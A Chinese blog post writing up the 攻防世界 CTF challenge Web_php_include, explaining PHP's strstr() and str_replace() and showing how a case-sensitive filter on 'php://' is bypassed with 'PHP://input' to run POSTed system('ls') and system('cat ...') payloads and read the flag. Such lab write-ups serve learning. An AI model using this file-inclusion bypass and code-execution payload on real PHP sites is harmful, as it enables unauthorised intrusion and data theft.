攻防世界-Web_php_include

小结:学习了两个函数
1.函数strstr():
strstr(str1,str2) 函数用于判断字符串str2是否是str1的子串。如果是,则该函数返回字符串剩余部分;否则,返回NULL。该函数对大小写敏感;也就是它区分大小写,可以构造Php绕过
strstr(string,search,before_search)

2.str_replace():
str_replace() 函数替换字符串中的一些字符(区分大小写)。
该函数必须遵循下列规则:
如果搜索的字符串是一个数组,那么它将返回一个数组。
如果搜索的字符串是一个数组,那么它将对数组中的每个元素进行查找和替换。
如果同时需要对某个数组进行查找和替换,并且需要执行替换的元素少于查找到的元素的数量,那么多余的元素将用空字符串进行替换。
如果是对一个数组进行查找,但只对一个字符串进行替换,那么替代字符串将对所有查找到的值起作用。
语法
str_replace(find,replace,string,count)

实例

把字符串 "Hello world!" 中的字符 "world" 替换成 "Peter":

输出 Hello Peter!

参考:https://www.runoob.com/php/func-string-str-replace.html

ok,开始看题目

程序过滤掉了page=参数传入php://
题目要求进行文件包含,但是却没有给出具体的 flag 文件名称。而且过滤了php://,推测是通过 include 实现任意代码执行。

  • 第一种方法(大小写绕过)

大小写绕过由于strstr()这个函数是区分大小写的所以我们可以转换成大小写用PHP://input
php:// 用于访问各个输入/输出流(I/O streams)
经常使用的是php://filter和php://input
php://filter用于读取源码,php://input用于执行php代码。
php://用法及更多php伪协议请参考:https://www.cnblogs.com/endust/p/11804767.html

首先利用php://input代码执行查看文件寻找flag位置
http://111.200.241.244:64291/?page=PHP://input
POST提交:<?php system('ls') ?>

然后得到目录

再在POST_DATA:<?php system('cat fl4gisisish3r3.php'); ?>
得到flag
这里如果利用hackbar,可能post包会交不上去,也不知道为啥,在执行cat文件时,flag并不会显示在页面上,要查看源代码才能看到,这是为啥,也不清楚。。

posted @ 2022-04-29 18:41  -ro0t  阅读(128)  评论(0)    收藏  举报